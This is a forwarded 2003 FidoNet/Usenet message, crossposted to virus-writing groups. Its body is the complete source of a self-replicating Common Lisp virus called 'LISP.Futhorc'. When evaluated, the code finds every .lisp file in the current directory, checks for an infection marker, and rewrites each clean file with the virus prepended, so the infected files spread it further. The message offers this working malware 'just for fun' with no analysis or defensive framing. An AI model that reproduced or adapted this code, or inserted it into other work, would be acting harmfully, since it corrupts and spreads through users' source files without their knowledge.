Ivan Boldyrev <boldyrev+nos...@cgitftp.uiggm.nsc.ru>

-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <1056626881@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=========================================================================== ==
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To   : All
* Subj : Just for fun
=========================================================================== ==
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
  (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
  (when (setq vic (car ls))
    (let ((p nil)) (with-open-file (i vic :direction :input)
      (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
        (loop (unless (setq line (read-line i nil nil)) (return))
          (setq p (append p (list line))))))
      (when p (with-open-file (o vic :direction :output)
        (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 (writel p o))))
    (infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
 + Origin: Feed my fear (2:465/215)
=========================================================================== ==

-------------------- End of forwarded message --------------------

--
Ivan Boldyrev

                                                        ÷ÁÛÉ ÂÁÊÔÙ ÂÉÔÙ!